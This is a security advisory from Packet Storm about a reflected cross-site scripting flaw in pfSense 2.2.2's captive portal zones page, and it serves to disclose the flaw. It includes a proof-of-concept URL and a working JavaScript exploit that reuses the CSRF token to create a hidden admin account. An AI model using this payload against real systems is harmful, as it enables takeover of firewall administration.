PFSense 2.2.2 Cross Site Scripting

🗓️ 14 Jul 2015 00:00:00Reported by William CostaType

packetstorm🔗 packetstormsecurity.com👁 29 Views

PFSense 2.2.2 Cross Site Scripting vulnerability allows code injection through the "zone" parameter in the captive portal zones page

`I. VULNERABILITY  
-------------------------  
Reflected XSS Attacks vulnerabilities in PFSense Version 2.2.2  
  
II. BACKGROUND  
-------------------------  
The pfSense project is a free network firewall distribution, based on the  
FreeBSD operating system with a custom kernel and including third party  
free software packages for additional functionality. Through this package  
system pfSense software is able to provide most of the functionality of  
common commercial firewalls, and many times more.  
  
III. DESCRIPTION  
-------------------------  
Has been detected a Reflected XSS vulnerability in PFSense .  
The code injection is done through the parameter “zone” in the page  
“/services_captiveportal_zones.php?act=del&zone=”  
  
IV. PROOF OF CONCEPT  
-------------------------  
The application does not validate the parameter “zone” correctly.  
http://192.168.217.100/services_captiveportal_zones.php?act=del&zone=aaaa%22%3E%3Cscript%3Ealert%28csrfMagicToken%29%3C/script%3E  
  
V. BUSINESS IMPACT  
-------------------------  
An attacker can execute arbitrary HTML or script code in a targeted  
user's browser, , that allows the execution of arbitrary HTML/script code  
to be executed in the context of the victim user's browser.  
VI. SYSTEMS AFFECTED  
-------------------------  
Tested PFSense 2.2.2  
  
VII. SOLUTION  
-------------------------  
All data received by the application and that can be modified by the user,  
before making any kind of transaction with them must be validated corretely  
https://www.pfsense.org/security/advisories/pfSense-SA-15_06.webgui.asc  
  
VIII. EXPLOIT  
-------------------------  
#cat exploit.js  
document.write('<iframe width=1000 height=1000 name="xss"> </iframe>');  
xss.document.write('<body><form id="CSRF" action="  
http://192.168.217.100/system_usermanager.php" method="post" name="CSRF">');  
xss.document.write('<input name="__csrf_magic" value=""</input>');  
xss.document.write('<input name="utype" value="user"> </input>');  
xss.document.write('<input name="usernamefld" value="test"> </input>');  
xss.document.write('<input name="passwordfld1" value="123456"> </input>');  
xss.document.write('<input name="passwordfld2" value="123456"> </input>');  
xss.document.write('<input name="groups[]" value="admins"> </input>');  
xss.document.write('<input name="save" value="Save"> </input>');  
xss.document.write('</form>');  
xss.document.write('</body>');  
window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken;  
window.frames['xss'].document.CSRF.submit();  
  
Result,  
  
Create new admin user the name test and password 123456  
  
By William Costa  
  
[email protected]  
  
  
`

14 Jul 2015 00:00Current